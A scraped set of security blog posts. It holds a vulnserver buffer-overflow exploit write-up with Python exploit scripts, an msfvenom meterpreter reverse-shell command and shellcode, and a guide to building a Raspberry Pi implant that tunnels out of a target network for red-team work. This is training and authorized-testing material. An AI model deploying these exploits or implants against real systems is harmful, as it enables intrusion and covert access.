(\u0026#39;\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0b\\x0c\\x0d\\x0e\\x0f\\x10\u0026#39; \u0026#39;\\x11\\x12\\x13\\x14\\x15\\x16\\x17\\x18\\x19\\x1a\\x1b\\x1c\\x1d\\x1e\\x1f\\x20\u0026#39; \u0026#39;\\x21\\x22\\x23\\x24\\x25\\x26\\x27\\x28\\x29\\x2a\\x2b\\x2c\\x2d\\x2e\\x2f\\x30\u0026#39; \u0026#39;\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x3a\\x3b\\x3c\\x3d\\x3e\\x3f\\x40\u0026#39; \u0026#39;\\x41\\x42\\x43\\x44\\x45\\x46\\x47\\x48\\x49\\x4a\\x4b\\x4c\\x4d\\x4e\\x4f\\x50\u0026#39; \u0026#39;\\x51\\x52\\x53\\x54\\x55\\x56\\x57\\x58\\x59\\x5a\\x5b\\x5c\\x5d\\x5e\\x5f\\x60\u0026#39; \u0026#39;\\x61\\x62\\x63\\x64\\x65\\x66\\x67\\x68\\x69\\x6a\\x6b\\x6c\\x6d\\x6e\\x6f\\x70\u0026#39; \u0026#39;\\x71\\x72\\x73\\x74\\x75\\x76\\x77\\x78\\x79\\x7a\\x7b\\x7c\\x7d\\x7e\\x7f\\x80\u0026#39; \u0026#39;\\x81\\x82\\x83\\x84\\x85\\x86\\x87\\x88\\x89\\x8a\\x8b\\x8c\\x8d\\x8e\\x8f\\x90\u0026#39; \u0026#39;\\x91\\x92\\x93\\x94\\x95\\x96\\x97\\x98\\x99\\x9a\\x9b\\x9c\\x9d\\x9e\\x9f\\xa0\u0026#39; \u0026#39;\\xa1\\xa2\\xa3\\xa4\\xa5\\xa6\\xa7\\xa8\\xa9\\xaa\\xab\\xac\\xad\\xae\\xaf\\xb0\u0026#39; \u0026#39;\\xb1\\xb2\\xb3\\xb4\\xb5\\xb6\\xb7\\xb8\\xb9\\xba\\xbb\\xbc\\xbd\\xbe\\xbf\\xc0\u0026#39; \u0026#39;\\xc1\\xc2\\xc3\\xc4\\xc5\\xc6\\xc7\\xc8\\xc9\\xca\\xcb\\xcc\\xcd\\xce\\xcf\\xd0\u0026#39; \u0026#39;\\xd1\\xd2\\xd3\\xd4\\xd5\\xd6\\xd7\\xd8\\xd9\\xda\\xdb\\xdc\\xdd\\xde\\xdf\\xe0\u0026#39; \u0026#39;\\xe1\\xe2\\xe3\\xe4\\xe5\\xe6\\xe7\\xe8\\xe9\\xea\\xeb\\xec\\xed\\xee\\xef\\xf0\u0026#39; \u0026#39;\\xf1\\xf2\\xf3\\xf4\\xf5\\xf6\\xf7\\xf8\\xf9\\xfa\\xfb\\xfc\\xfd\\xfe\\xff\u0026#39;) buffer = pre_padding + eip + badchars command = \u0026#39;TRUN .\u0026#39; data = command + buffer print \u0026#39;[*] Sending data: \u0026#39; + data s = socket.create_connection((\u0026#39;192.168.185.146\u0026#39;,9999)) s.sendall(data) s.close() As we can see in the debugger, no other characters appear to be getting mangled:\nShellcode # Okay, so in theory this is the easy part\u0026hellip; lets generate some shellcode using msfvenom, and replace the bad characters / buffer of C\u0026rsquo;s with a meterpreter reverse tcp payload. Remember to specify the nullbyte as a bad character using the -b '\\x00' flag.\nmsfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp LHOST=192.168.185.145 LPORT=4444 EXITFUNC=thread -b \u0026#39;\\x00\u0026#39; -e x86/xor_dynamic -f python It is advised to give the shellcode encoder some space before executing, so I have included a 32 byte nopsled ('\\x90' * 32) before the shellcode.\n#!/usr/bin/env python import socket import sys pre_padding = \u0026#39;A\u0026#39; * 2006 eip = \u0026#39;\\xBB\\x11\\x50\\x62\u0026#39; shellcode = \u0026#39;\\x90\u0026#39; * 32 shellcode += \u0026#39;\\xeb\\x23\\x5b\\x89\\xdf\\xb0\\x36\\xfc\\xae\\x75\\xfd\\x89\\xf9\u0026#39; shellcode += \u0026#39;\\x89\\xde\\x8a\\x06\\x30\\x07\\x47\\x66\\x81\\x3f\\x40\\xc0\\x74\u0026#39; shellcode += \u0026#39;\\x08\\x46\\x80\\x3e\\x36\\x75\\xee\\xeb\\xea\\xff\\xe1\\xe8\\xd8\u0026#39; shellcode += \u0026#39;\\xff\\xff\\xff\\x09\\x36\\xf5\\xe1\\x8b\\x09\\x09\\x09\\x69\\x80\u0026#39; shellcode += \u0026#39;\\xec\\x38\\xc9\\x6d\\x82\\x59\\x39\\x82\\x5b\\x05\\x82\\x5b\\x1d\u0026#39; shellcode += \u0026#39;\\x82\\x7b\\x21\\x06\\xbe\\x43\\x2f\\x38\\xf6\\xa5\\x35\\x68\\x75\u0026#39; shellcode += \u0026#39;\\x0b\\x25\\x29\\xc8\\xc6\\x04\\x08\\xce\\xeb\\xfb\\x5b\\x5e\\x82\u0026#39; shellcode += \u0026#39;\\x5b\\x19\\x82\\x43\\x35\\x82\\x45\\x18\\x71\\xea\\x41\\x08\\xd8\u0026#39; shellcode += \u0026#39;\\x58\\x82\\x50\\x29\\x08\\xda\\x82\\x40\\x11\\xea\\x33\\x40\\x82\u0026#39; shellcode += \u0026#39;\\x3d\\x82\\x08\\xdf\\x38\\xf6\\xa5\\xc8\\xc6\\x04\\x08\\xce\\x31\u0026#39; shellcode += \u0026#39;\\xe9\\x7c\\xff\\x0a\\x74\\xf1\\x32\\x74\\x2d\\x7c\\xed\\x51\\x82\u0026#39; shellcode += \u0026#39;\\x51\\x2d\\x08\\xda\\x6f\\x82\\x05\\x42\\x82\\x51\\x15\\x08\\xda\u0026#39; shellcode += \u0026#39;\\x82\\x0d\\x82\\x08\\xd9\\x80\\x4d\\x2d\\x2d\\x52\\x52\\x68\\x50\u0026#39; shellcode += \u0026#39;\\x53\\x58\\xf6\\xe9\\x56\\x56\\x53\\x82\\x1b\\xe2\\x84\\x54\\x61\u0026#39; shellcode += \u0026#39;\\x3a\\x3b\\x09\\x09\\x61\\x7e\\x7a\\x3b\\x56\\x5d\\x61\\x45\\x7e\u0026#39; shellcode += \u0026#39;\\x2f\\x0e\\x80\\xe1\\xf6\\xd9\\xb1\\x99\\x08\\x09\\x09\\x20\\xcd\u0026#39; shellcode += \u0026#39;\\x5d\\x59\\x61\\x20\\x89\\x62\\x09\\xf6\\xdc\\x63\\x03\\x61\\xc9\u0026#39; shellcode += \u0026#39;\\xa1\\xb0\\x98\\x61\\x0b\\x09\\x18\\x55\\x80\\xef\\x59\\x59\\x59\u0026#39; shellcode += \u0026#39;\\x59\\x49\\x59\\x49\\x59\\x61\\xe3\\x06\\xd6\\xe9\\xf6\\xdc\\x9e\u0026#39; shellcode += \u0026#39;\\x63\\x19\\x5f\\x5e\\x61\\x90\\xac\\x7d\\x68\\xf6\\xdc\\x8c\\xc9\u0026#39; shellcode += \u0026#39;\\x7d\\x03\\xf6\\x47\\x01\\x7c\\xe5\\xe1\\x6e\\x09\\x09\\x09\\x63\u0026#39; shellcode += \u0026#39;\\x09\\x63\\x0d\\x5f\\x5e\\x61\\x0b\\xd0\\xc1\\x56\\xf6\\xdc\\x8a\u0026#39; shellcode += \u0026#39;\\xf1\\x09\\x77\\x3f\\x82\\x3f\\x63\\x49\\x61\\x09\\x19\\x09\\x09\u0026#39; shellcode += \u0026#39;\\x5f\\x63\\x09\\x61\\x51\\xad\\x5a\\xec\\xf6\\xdc\\x9a\\x5a\\x63\u0026#39; shellcode += \u0026#39;\\x09\\x5f\\x5a\\x5e\\x61\\x0b\\xd0\\xc1\\x56\\xf6\\xdc\\x8a\\xf1\u0026#39; shellcode += \u0026#39;\\x09\\x74\\x21\\x51\\x61\\x09\\x49\\x09\\x09\\x63\\x09\\x59\\x61\u0026#39; shellcode += \u0026#39;\\x02\\x26\\x06\\x39\\xf6\\xdc\\x5e\\x61\\x7c\\x67\\x44\\x68\\xf6\u0026#39; shellcode += \u0026#39;\\xdc\\x57\\x57\\xf6\\x05\\x2d\\x06\\x8c\\x79\\xf6\\xf6\\xf6\\xe0\u0026#39; shellcode += \u0026#39;\\x92\\xf6\\xf6\\xf6\\x08\\xca\\x20\\xcf\\x7c\\xc8\\xca\\xb2\\xe9\u0026#39; shellcode += \u0026#39;\\x14\\x23\\x03\\x61\\xaf\\x9c\\xb4\\x94\\xf6\\xdc\\x35\\x0f\\x75\u0026#39; shellcode += \u0026#39;\\x03\\x89\\xf2\\xe9\\x7c\\x0c\\xb2\\x4e\\x1a\\x7b\\x66\\x63\\x09\u0026#39; shellcode += \u0026#39;\\x5a\\xf6\\xdc\\x40\\xc0\u0026#39; buffer = pre_padding + eip + shellcode command = \u0026#39;TRUN .\u0026#39; data = command + buffer print \u0026#39;[*] Sending data: \u0026#39; + data s = socket.create_connection((\u0026#39;192.168.185.146\u0026#39;,9999)) s.sendall(data) s.close() Time to send the final payload, make sure you start the metasploit listener. I used the exploit/multi/handler and the appropriate payload: windows/meterpreter/reverse_tcp.\nSending the final exploit:\nGetting a meterpreter shell from the victim:\n","date":"30 January 2019","permalink":"/posts/vulnserver/trun/","section":"Posts","summary":"Vanilla Stack Overflow","title":"Exploiting vulnserver: trun"},{"content":" Background # VulnServer is created by Stephen Bradshaw, as per the GitHub ReadMe:\nVulnserver is a multithreaded Windows based TCP server that listens for client connections on port 9999 (by default) and allows the user to run a number of different commands that are vulnerable to various types of exploitable buffer overflows.\nThis software is intended mainly as a tool for learning how to find and exploit buffer overflow bugs, and each of the bugs it contains is subtly different from the others, requiring a slightly different approach to be taken when writing the exploit.\nEach command will crash the vulnserver application in different ways in order to teach us something new. If you require help, read the Getting Started section first before diving into each exploit.\nNote: This blog will not cover fuzzing the application. There are some existing blog posts which cover this topic already\nGetting Started # You will need a Windows 7 host to run the vulnserver application:\nModernIE (Windows 7) : https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/ vulnserver : https://github.com/stephenbradshaw/vulnserver The instructions for running the vulnserver application as per the developer GitHub page:\nTo run the software, simply execute vulnserver.exe. The provided essfunc.dll library must be in a location where it can be found by vulnserver.exe - keeping both files in the same directory will usually work fine.\nTo start the server listening on the default port of 9999, simply run the executable, to use an alternate port, provide the port number as a command line parameter.\nOnce the application has started, it starts waiting for client connections:\nConnect to vulnserver on port 9999 using netcat:\nnc -v localhost 9999 Commands # You can now type commands, similarly to how you would interact with an FTP server. Issue the HELP command (case sensitive) to see what functions are supported by the application:\nLooking back at the Windows victim machine, the vulnserver application has received a connection from our attacker machine:\nIt is possible to write a python script using sockets and the socket API to send different commands via TCP packets to the vulnserver application. For example, the following script will allow us to programmatically interact with vulnserver running on the victim machine:\n#!/usr/bin/env python import socket import sys buffer = \u0026#39;test\u0026#39; command = \u0026#39;TRUN .\u0026#39; data = command + buffer print \u0026#39;[*] Sending data: \u0026#39; + data s = socket.create_connection((\u0026#39;192.168.185.146\u0026#39;,9999)) s.sendall(data) print \u0026#39;[*] Server response: \u0026#39; + s.recv(1024) s.close() As we can see, the TRUN command ran successfully:\n","date":"29 January 2019","permalink":"/posts/vulnserver/intro/","section":"Posts","summary":"I am currently doing OSCE / CTP exam preparation exploiting vulnserver.exe","title":"Exploiting vulnserver: Intro"},{"content":" Overview # One of the goals during red team engagements and physical assessments is to gain remote access to the target network. Generally, this is the point in the engagement where I find an unattended, network connected VoIP phone in the reception area or spare network port in a meeting room, which I attempt to plug the LanTurtle into to try gain remote access.\nHowever, there are several frustrations when it comes to using the LanTurtle, so I have created my solution using a Raspberry Pi, along with a crafty OpenVPN configuration, that allows you to seamlessly bridge into the remote network. Throughout this post I will refer to this as \u0026ldquo;PiRAT\u0026rdquo;.\nPiRAT will act as an OpenVPN server and the attacker on a remote laptop as the VPN client, who can obtain an IP address from the targets DHCP server through OpenVPN operating in bridged mode.\nWhen plugged into a live network port, PiRAT will not attempt to tunnel out of the network on its own. You will need to install the device and connect to the management interface. For this blog, I am using the on-board wireless adapter on the Raspberry Pi to stand-up an access point (AP) that you can connect to. Once connected to the management AP, the attacker can SSH into PiRAT and review which ports are allowed through the firewall and establish an outbound SSH connection used for tunneling VPN traffic.\nThe management interface could easily be changed from wifi to 3G/4G, by adding an external dongle to avoid the range limitations of wifi.\nHow it works # Dropping PiRAT # The network diagram below should give a good overview of how PiRAT will be connected within target network. Find an open network port and plug the device in. Some VoIP phones are capable of sharing the same network cable by having a spare ethernet port on the back of the phone to avoid running excessive cables.\nManagement of PiRAT # Once PiRAT has booted up, it will create a wireless AP which can be connected to by the attacker. The attacker will then be able to SSH into the Raspberry Pi and probe for ports with outbound access. Once an open outbound port has been identified (such as port 443 or 53), an SSH connection to the attackers AWS jumphost host (jumphost) can be established and used to tunnel the VPN traffic.\nSSH \u0026ldquo;VPN Tunnel\u0026rdquo; # Why tunnel OpenVPN traffic through an SSH connection?\nIf SSH is broken, we are all screwed. OpenVPN configurations can be very tricky and easy to make mistakes with. SSH on the other hand is pretty straight forward. Before establishing an SSH connection to the jumphost, the bridged adapter (br0) and VPN adapter (tap0) need to be created. This can be done through the pre-existing SSH connection via the management interface (wifi connection), by running a script (pirat-bridge-start.sh) to bring up a bridged interface.\nOnce an SSH connection to the jumphost has been established through an open port within the target network, the bridged network can be accessed remotely as if you were phyiscally onsite. You will even receive broadcast traffic (see below), allowing you use tools like responder.\nBridged OpenVPN Configuration # There are many different ways to configure OpenVPN. One special use case for tap-based OpenVPN configuration is network bridging.\nBy bridging a physical ethernet NIC with an OpenVPN-driven TAP interface at two separate locations, it is possible to logically merge both ethernet networks, as if they were a single ethernet subnet.\nIn a bridged setup, it is possible to integrate the clients into the server-side network even further. Normally, OpenVPN assigns IP addresses to its clients using the server command followed by the IP address range. However, it is possible to use an external DHCP server to assign addresses to the OpenVPN clients.\nThe OpenVPN configuration described in this blog post allows the OpenVPN client to be fully and transparently integrated into the server-side network.\nSide note: While it is possible to achieve a similar effect using a proxy-arp configuration, a major disadvantage of using this kernel flag is that it does not turn the VPN into a single Ethernet broadcast domain. With the proxy_arp_pvlan flag, the OpenVPN clients can reach each other using ARP messages. However, they will not receive broadcast traffic coming from other clients.\nHardware Components # Raspberry Pi. AWS EC2 Instance. External wifi dongle for longer range (not required).\nIf you wanted to extend the wireless range of the management AP, I would go for something like the TP Link TL-WN722N, as a fairly cheap and reliable external wifi adapter. The Build # Raspberry Pi # Initial Setup # Download \u0026amp; Flash the latest Raspberry Pi image /OS onto an SD card.\nBoot up the Raspberry Pi and login. SSH into the rpi and replace default password-based authentication with key-based authentication. Copy over your public key from your attacker machine and place it in the authorized_keys file of the rpi:\npi@raspberrypi:~ $ cat ~/.ssh/authorized_keys ssh-ed25519 ..public-key-contents-here.. phish@attacker Update \u0026amp; upgrade the packages\npi@raspberrypi:~ $ sudo apt update \u0026amp;\u0026amp; sudo apt upgrade Install the required tools\npi@raspberrypi:~ $ sudo apt install -y autossh git openvpn bridge-utils dnsmasq hostapd fail2ban Change default password for the pi user:\npi@raspberrypi:~ $ passwd Enable SSH at boot\npi@raspberrypi:~ $ sudo systemctl enable ssh Remove the default Raspberry Pi host keys\npi@raspberrypi:~ $ sudo rm /etc/ssh/ssh_host_* Generate new Raspberry Pi host keys\npi@raspberrypi:~ $ sudo dpkg-reconfigure openssh-server Generate new ssh key pair for the rpi\npi@raspberrypi:~ $ ssh-keygen -t ed25519 Add the jumphost entry in /etc/hosts file\n127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters 127.0.1.1 raspberrypi 13.210.113.204 jumphost Add the jumphost entry into ssh configuration file (~/.ssh/config) on the rpi\nHost vpn-tunnel HostName jumphost User ubuntu Port 443 IdentityFile /home/pi/.ssh/id_ed25519 RemoteForward 2020 localhost:2020 ServerAliveInterval 30 ServerAliveCountMax 2 Host * UseRoaming no HashKnownHosts yes It is recommended to harden the default ssh config as well\u0026hellip; I made the following changes to the default ssh config file on the rpi:\nPort 2020 AddressFamily inet Protocol 2 AllowAgentForwarding no X11Forwarding no PermitRootLogin no PasswordAuthentication no Additional hardening -\u0026gt; configure fail2ban\nManagement Interface Config # The management interface will be used to manage the rpi. Once connected to the device over the management interface, you will be able to check the ssh tunnel has been established or change anything needed in order for the device to dig out of the target\u0026rsquo;s network.\nWe setup a wifi access point using the wlan0 interface of the rpi for managing the remote access box.\nCreate a /etc/hostapd/hostapd.conf file - modify the ssid, and wpa_passphrase as needed.\n# Interface configuration interface=wlan0 ssid=pirat channel=11 # WPA configuration macaddr_acl=0 auth_algs=3 ignore_broadcast_ssid=0 wpa=3 wpa_passphrase=doyouevenpirat wpa_key_mgmt=WPA-PSK wpa_pairwise=CCMP TKIP rsn_pairwise=CCMP # Hardware configuration driver=nl80211 ieee80211n=1 hw_mode=g Modify the DAEMON_CONF value in the host access point daemon (/etc/init.d/hostapd) file.\nDAEMON_CONF=/etc/hostapd/hostapd.conf Configure DHCP server on the wlan0 interface by adding the following to the /etc/dnsmasq.conf configuration file.\nThe range specified below will hand out IP addresses in the 172.16.66.50-172.16.66.100 range - feel free to change this.\n# Interface to bind to interface=wlan0 bind-interfaces # Specify starting_range,end_range,lease_time dhcp-range=172.16.66.50,172.16.66.100,255.255.255.0,12h Set a static IP address on the wlan0 interface by adding the following to /etc/network/interfaces.\nauto eth0 iface eth0 inet dhcp auto wlan0 allow-hotplug wlan0 iface wlan0 inet static address 172.16.66.1 netmask 255.255.255.0 In newer versions of Raspian / Raspberry Pi OS, the interface configuration is handled by dhcpcd by default. We need to tell it to ignore the wlan0 interface.\nAdd the following line to the dhcpcd configuration file (/etc/dhcpcd.conf). Note: This must be ABOVE any interface lines you may have added.\ndenyinterfaces wlan0 Enable hostapd to start on boot.\npi@raspberrypi:~ $ update-rc.d hostapd enable Enable dnsmasq to start on boot. ( A BlackHills blog post mentioned that they had issues using update-rc.d dnsmasq enable here because dnsmasq was starting before the interface (in our case wlan0) was up and failing to bind to the interface. Instead I found adding service dnsmasq start to /etc/rc.local works.\nThe content of /etc/rc.local should now look like something like this:\n# By default this script does nothing. # Print the IP address _IP=$(hostname -I) || true if [ \u0026#34;$_IP\u0026#34; ]; then printf \u0026#34;My IP address is %s\\n\u0026#34; \u0026#34;$_IP\u0026#34; fi service dnsmasq start exit 0 SSH Tunnel Config # Next we need to configure the SSH tunnel that will be used for the VPN traffic.\nCreate a systemd service unit file (/etc/systemd/system/autossh-vpn-tunnel.service) to start create the ssh tunnel to the jumphost using autossh.\n[Unit] Description=Establish a \u0026#39;vpn\u0026#39; ssh tunnel to jumphost. Local port 2020 is forwarded to remote port 2020. After=network.target [Service] Environment=\u0026#34;AUTOSSH_GATETIME=0\u0026#34; ExecStart=/usr/bin/autossh -M 0 -o \u0026#34;ServerAliveInterval 30\u0026#34; -o \u0026#34;ServerAliveCountMax 3\u0026#34; -N -R 2020:localhost:2020 vpn-tunnel User=ubuntu [Install] WantedBy=multi-user.target Now we can manually start the ssh tunnel or enable the systemd service to start at boot (replace start with enable)\npi@raspberrypi:~ $ sudo systemctl start autossh-vpn-tunnel.service OpenVPN Setup # The rpi is going to be our vpn server. Since OpenVPN is a ssl/tls vpn, it utilizes certificates to encrypt traffic between the server and clients. In order to issue trusted certificates, we will need to set up our own simple certificate authority (CA).\nDownload the easy-rsa repository into /opt/. The latest easy-rsa repo can be found here.\npi@raspberrypi:~ $ cd /opt/ \u0026amp;\u0026amp; sudo git clone https://github.com/OpenVPN/easy-rsa We need to copy the easy-rsa template directory from /opt/easy-rsa/easy/ into our Raspberry Pi users home directory.\nMake a new directory for our OpenVPN Certificate Authority (CA) using the make-cadir command:\npi@raspberrypi:~ $ make-cadir ~/openvpn-ca Copy the easy-rsa template directory from /opt/easy-rsa/easy/ into ~/.openvpn-ca/\npi@raspberrypi:~ $ cp -R /opt/easy-rsa/easyrsa3/* ~/openvpn-ca/ Once this folder has been copied, It is recommended that you set the Easy-RSA working directory within the vars file. Change the EASYRSA variable to something sensible for your environment, for example as /usr/share/easy-rsa:\nexport EASY_RSA=\u0026#34;/usr/share/easy-rsa\u0026#34; Change the KEY_CONFIG variable to point to the openssl-1.0.0.cnf file. (Note - this is likely to become outdated in the future and you should modify the openssl config to whatever the latest release is)\nexport KEY_CONFIG=\u0026#34;/usr/share/easy-rsa/openssl-1.0.0.cnf\u0026#34; Configure the remaining CA variables:\n# These are the default values for fields # which will be placed in the certificate. # Don\u0026#39;t leave any of these fields blank. export KEY_COUNTRY=\u0026#34;US\u0026#34; export KEY_PROVINCE=\u0026#34;CA\u0026#34; export KEY_CITY=\u0026#34;SanFrancisco\u0026#34; export KEY_ORG=\u0026#34;Fort-Funston\u0026#34; export KEY_EMAIL=\u0026#34;me@myhost.mydomain\u0026#34; export KEY_OU=\u0026#34;MyOrganizationalUnit\u0026#34; We will also edit the KEY_NAME value which populates the subject field. To keep this simple, we\u0026rsquo;ll call it server in this guide:\nexport KEY_NAME=\u0026#34;server\u0026#34; Initialise Easy-RSA PKI:\npi@raspberrypi:~/openvpn-ca $ ./easyrsa init-pki Build the CA with the ./easyrsa build-ca command and follow the prompts.\npi@raspberrypi:~/openvpn-ca $ ./easyrsa build-ca NOTE: If you run ./clean-all, I will be doing a rm -rf on /usr/share/easy-rsa/keys Note: using Easy-RSA configuration from: ./vars Generating a 2048 bit RSA private key .. writing new private key to \u0026#39;/home/pi/openvpn-ca/pki/private/ca.key.5Qv62XciYX\u0026#39; Enter PEM pass phrase: Verifying - Enter PEM pass phrase: ----- Common Name (eg: your user, host, or server name) [Easy-RSA CA]:pi_rat CA creation complete and you may now import and sign cert requests. Your new CA certificate file for publishing is at: /home/pi/openvpn-ca/pki/ca.crt Generating OpenVPN Certificates # OpenVPN can make use of the x509 key usage parameters, ensuring clients connect with valid client certificates, and the clients can ensure a server is authorized to be a server. This prevents one of your client certificates from being used as a server in a Man-In-The-Middle (MITM) attack. Without this constraint, it is possible for any certificate signed by the VPN CA to be used to impersonate a client or server. Because the rogue certificate resides within the same PKI, the certificate itself is still valid, and will pass the generic PKI checks.\nServer Certificates\nEasy-RSA supports signing certificates with the server key usage parameter using the build-server-full subcommand:\npi@raspberrypi:~/openvpn-ca $ ./easyrsa build-server-full pirat-server NOTE: If you run ./clean-all, I will be doing a rm -rf on /usr/share/easy-rsa/keys Note: using Easy-RSA configuration from: ./vars Generating a 2048 bit RSA private key ...................................+++ writing new private key to \u0026#39;/home/pi/openvpn-ca/pki/private/pirat-server.key.UjNrJ0PW2n\u0026#39; Enter PEM pass phrase: Verifying - Enter PEM pass phrase: ----- Using configuration from ./openssl-easyrsa.cnf Enter pass phrase for /home/pi/openvpn-ca/pki/private/ca.key: Check that the request matches the signature Signature ok The Subject\u0026#39;s Distinguished Name is as follows commonName :ASN.1 12:\u0026#39;pirat-server\u0026#39; Certificate is to be certified until Nov 7 02:58:57 2027 GMT (3650 days) Write out database with 1 new entries Data Base Updated You can verify the newly generated pirat-server.crt with the openssl command below:\npi@raspberrypi:~/openvpn-ca $ openssl x509 -noout -text -in /home/pi/openvpn-ca/pki/issued/pirat-server.crt Client Certificates\nJust like server certificates, clients can be authenticated using client-specific certificates. With this method, each client can be required to have a unique certificate. The certificate Common Name (CN) can be used to determine other parameters to be pushed on a given connection via client-connect scripts or the clientconfig-dir option.\nGenerate the client certificate with the following easy-rsa command:\npi@raspberrypi:~/openvpn-ca $ ./easyrsa build-client-full client1 NOTE: If you run ./clean-all, I will be doing a rm -rf on /usr/share/easy-rsa/keys Note: using Easy-RSA configuration from: ./vars Generating a 2048 bit RSA private key ...................................+++ writing new private key to \u0026#39;/home/pi/openvpn-ca/pki/private/client1.key.M3yJau82OR\u0026#39; Enter PEM pass phrase: Verifying - Enter PEM pass phrase: ----- Using configuration from ./openssl-easyrsa.cnf Enter pass phrase for /home/pi/openvpn-ca/pki/private/ca.key: Check that the request matches the signature Signature ok The Subject\u0026#39;s Distinguished Name is as follows commonName :ASN.1 12:\u0026#39;client1\u0026#39; Certificate is to be certified until Nov 7 03:16:10 2027 GMT (3650 days) Write out database with 1 new entries Data Base Updated You can verify the newly generated client1.crt with the openssl command below:\npi@raspberrypi:~/openvpn-ca $ openssl x509 -noout -text -in /home/pi/openvpn-ca/pki/issued/client1.crt Create a new directory for the openvpn server config and adjust permissions\npi@raspberrypi:/ $ sudo mkdir /etc/openvpn/pirat \u0026amp;\u0026amp; sudo chmod 700 /etc/openvpn/pirat/ Copy over the CA certificate and the server certificate / private key pair to the new directory (/etc/openvpn/pirat/).\npi@raspberrypi:/ $ sudo cp ~/openvpn-ca/pki/ca.crt /etc/openvpn/pirat/pirat-ca.crt pi@raspberrypi:/ $ sudo cp ~/openvpn-ca/pki/issued/pirat-server.crt /etc/openvpn/pirat/server.crt pi@raspberrypi:/ $ sudo cp ~/openvpn-ca/pki/private/pirat-server.key /etc/openvpn/pirat/server.key Adding Extra Security (optional) This is optional because the vpn tunnel will be established over an already secure ssh tunnel. However, defence in depth is not a bad idea.\nUsing Diffie-Hellman session keys.\nIn client/server mode, OpenVPN is configured using a Public Key Infrastructure (PKI), with X.509 certificates and private keys. It is also possible to use X.509 certificates and private keys to set up a point-to-point tunnel. The advantage of using X.509 certificates over pre-shared keys is that it offers Perfect Forward Secrecy (PFS). More information on this can be found here.\nOn the server side, we also need to generate a Diffie-Hellman parameter file that is required for vpn session keys. The session keys are ephemeral or temporary keys and are generated when the connection between client and server is first set up.\nGenerate a Diffie-Hellman parameter file, execute the following command:\npi@raspberrypi:~/openvpn-ca $ mkdir ~/openvpn-ca/pki/dh \u0026amp;\u0026amp; cd ~/openvpn-ca/pki/dh pi@raspberrypi:~/openvpn-ca/pki/dh $ openssl dhparam -out dh2048.pem 2048 Generating DH parameters, 2048 bit long safe prime, generator 2 This is going to take a long time ...................................+++ Copy the Diffie-Hellman key to the /etc/openvpn/pirat/ directory.\npi@raspberrypi:~/openvpn-ca/pki/dh $ sudo cp ~/openvpn-ca/pki/dh/dh2048.pem /etc/openvpn/pirat/ Using tls-auth keys.\nIn the client/server mode, OpenVPN will attempt to establish a TLS control channel for each client that tries to connect. Setting up a TLS control channel is resource consuming, which makes OpenVPN susceptible to denial-of-service attacks: an attacker could launch a multitude of misconfigured clients that all try to connect to the OpenVPN server. For each of these, the OpenVPN server would attempt to set up a TLS connection, which will effectively lead to a denial of service for well-configured clients. This is especially true when OpenVPN is running using proto udp (the recommended default). UDP traffic is connectionless, which means that for each new UDP packet that the server receives, it must verify if it is a valid OpenVPN packet.\nGenerate a tls-auth key.\npi@raspberrypi:~/openvpn-ca/pki $ mkdir ~/openvpn-ca/pki/tls-auth \u0026amp;\u0026amp; cd ~/openvpn-ca/pki/tls-auth pi@raspberrypi:~/openvpn-ca/pki/tls-auth $ openvpn --genkey --secret ta.key pi@raspberrypi:~/openvpn-ca/pki/tls-auth $ sudo cp ~/openvpn-ca/pki/tls-auth/ta.key /etc/openvpn/pirat/ Just like the client’s private key file, the tls-auth key needs to be copied to each client using a secure channel, or it needs to be included in a secure client configuration package.\nOn the attacker machine we can scp the required openvpn client files as shown below:\nphish@attacker $ mkdir ~/Desktop/pirat_vpn \u0026amp;\u0026amp; cd ~/Desktop/pirat_vpn phish@attacker:~/Desktop/pirat_vpn $ scp pi-via-jumphost:/home/pi/openvpn-ca/pki/tls-auth/ta.key ~/Desktop/pirat_vpn/ phish@attacker:~/Desktop/pirat_vpn $ scp pi-via-jumphost:/home/pi/openvpn-ca/pki/issued/client1.crt ~/Desktop/pirat_vpn/ phish@attacker:~/Desktop/pirat_vpn $ scp pi-via-jumphost:/home/pi/openvpn-ca/pki/private/client1.key ~/Desktop/pirat_vpn/ phish@attacker:~/Desktop/pirat_vpn $ scp pi-via-jumphost:/home/pi/openvpn-ca/pki/ca.crt ~/Desktop/pirat_vpn/ OpenVPN Server Config # Create a script to bring up a bridged interface (pirat-bridge-start.sh):\nThe network bridge is used between the LAN adapter eth0 and the OpenVPN virtual tap adapter tap0. We need to create the tap adapter tap0 using the system package bridge-utils before starting the OpenVPN server.\n#!/bin/bash br=\u0026#34;br0\u0026#34; tap=\u0026#34;tap0\u0026#34; eth=\u0026#34;eth0\u0026#34; # Create the tap adapter openvpn --mktun --dev $tap # Create the bridge and add interfaces brctl addbr $br brctl addif $br $eth brctl addif $br $tap # Configure the bridge ifconfig $tap 0.0.0.0 promisc up ifconfig $eth 0.0.0.0 promisc up ifconfig $br 0.0.0.0 0.0.0.0 \u0026amp;\u0026amp; dhclient Make sure it is executable and execute the script.\npi@raspberrypi:~ $ chmod +x pirat-bridge-start.sh pi@raspberrypi:~ $ sudo ./pirat-bridge-start.sh Create the OpenVPN server configuration file (pirat-server).\npi@raspberrypi:~ $ touch pirat-server pi@raspberrypi:~ $ sudo mv pirat-server /etc/openvpn/server/ Using an external DHCP server (this provides the vpn client with seamless integration within the target network)\nNormally, OpenVPN assigns IP addresses to its clients using either the following command:\nserver 10.200.0.0 255.255.255.0 Or:\nserver-bridge 192.168.3.15 255.255.255.0 192.168.3.128 192.168.3.250 To use an external DHCP server, simply remove the specification of any IP address ranges after the server-bridge option.\nThe final pirat-server configuration file should look like something like this:\ntls-server proto tcp port 1194 dev tap0 server-bridge remote-cert-tls client tls-auth /etc/openvpn/pirat/ta.key 0 dh /etc/openvpn/pirat/dh2048.pem ca /etc/openvpn/pirat/pirat-ca.crt cert /etc/openvpn/pirat/server.crt key /etc/openvpn/pirat/server.key persist-key persist-tun keepalive 10 60 user nobody group nogroup verb 3 daemon log-append /var/log/openvpn.log The line dev tap0 in the server config file is crucial for a bridged setup to work. We have created the tap adapter for the bridge prior to starting OpenVPN. In order to use this adapter, we must explicitly specify the name of the adapter. Otherwise, OpenVPN will create a new, non-bridged adapter at startup.\nStart the openvpn server (you will be prompted for the server private key pass phrase)\npi@raspberrypi:~ $ sudo systemctl start openvpn-server@pirat-server Enter Private Key 